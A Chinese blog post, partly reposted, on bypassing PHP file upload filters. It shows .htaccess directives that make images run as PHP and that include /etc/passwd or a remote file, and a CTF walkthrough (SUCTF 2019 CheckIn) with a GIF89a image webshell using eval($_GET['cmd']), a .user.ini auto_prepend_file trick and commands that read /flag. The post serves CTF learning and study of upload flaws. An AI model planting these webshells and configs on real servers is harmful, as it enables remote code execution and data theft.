文件上传漏洞--新收获

Apache的.htaccess利用技巧 转载于:https://xz.aliyun.com/t/8267#toc-6

前言:文件上传绕过可以通过上传.htaccess进行绕过,之前一直未解什么原理,今天逛先知社区狠狠的学了一吧!

.htaccess 可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

常用指令

  • AddType
AddType 可以将给定的文件扩展名映射到指定的内容类型
用法:

AddType media-type extension [extension] ...

示例:

AddType application/x-httpd-php .gif

将以 gif 为后缀的文件当做 php 解析

AddType application/x-httpd-php png  jpg gif

将以 .png .jpg .gif 多个后缀当做 php 解析
  • SetHandler
 SetHandler 可以强制所有匹配的文件被一个指定的处理器处理
用法:

SetHandler handler-name|None

示例1:

SetHandler application/x-httpd-php

此时当前目录及其子目录下所有文件都会被当做 php 解析
  • AddHandler
AddHandler 可以在文件扩展名与特定的处理器之间建立映射
用法:

AddHandler handler-name extension [extension] ...

例如:

AddHandler cgi-script .xxx

将扩展名为 .xxx 的文件作为 CGI 脚本来处理
  • php_value
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag。

用法:php_value name value

    auto_prepend_file:在主文件解析之前自动解析包含的文件
    auto_append_file:在主文件解析后自动解析包含的文件

利用方式

1.文件解析

经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行

.htaccess 文件内容有如下两种

  1. SetHandler 指令

将images.png 当做 PHP 执行

<FilesMatch  "images.png">
SetHandler  application/x-httpd-php
</FilesMatch>
  1. AddType

将 .jpg 当做 PHP 文件解析

AddType application/x-httpd-php .png

2.文件包含

  1. 本地文件包含
 通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。

.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。

auto_prepend_file

php_value auto_prepend_file /etc/passwd

auto_append_file

php_value auto_append_file /etc/passwd
  1. 远程文件包含
 PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。

这里为了演示,就在 php.ini 中设置 all_url_include 为 On

php_value auto_append_file http://10.87.9.156/phpinfo.txt

在这里插入图片描述
PS:暂时就这么多,其他的后续在研究---------------------------------------------------------------------------------------------------------------------------------

.user.ini配合文件上传gets hell

靶场:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn

  1. 首先能够上传正常的jpg文件
  2. 上传php文件提示非法后缀
  3. 修改后缀对文件内容进行验证,过滤<?
  4. 使用<script language="php">eval($_GET['cmd']);</script>绕过
  5. 使用exif_imagetype函数通过检测文件头来检测是否是规定的格式
  6. 只需构造头文件为GIF98a图片马进行绕过,,图片马制作:copy 1.jpg/a + cmd.php/b 2.jpg
 GIF89a?
 <script language="php">eval($_GET['cmd']);</script>
  1. 成功上传,上传图片马需要考虑进行利用
  2. 结合.user.ini利用,原理https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
  3. auto_append_file,指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。配合GIF89a进行绕过exif_imagetype函数。踩坑,GIF89a 后面要进行换行。
GIF89a 
auto_prepend_file=2.jpg
  1. 先上传.user.ini文件在,上传2.jpg的图片马,上传成功后配合原文件下的index.php获取权限
  2. 根据上传成功回显的路径,进行拼接
    在这里插入图片描述获取根目录:cmd=var_dump(scandir(“/”));,可以看见一个叫flag的文件
    打印:cmd=var_dump(file_get_contents(“/flag”));或者cmd=system(‘cat /flag’);
    在这里插入图片描述右键点击查看源代码获取flag。

相关链接

1.https://yzddmr6.com/posts/jsp-webshell-upload-bypass/
2.https://xz.aliyun.com/t/11337

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值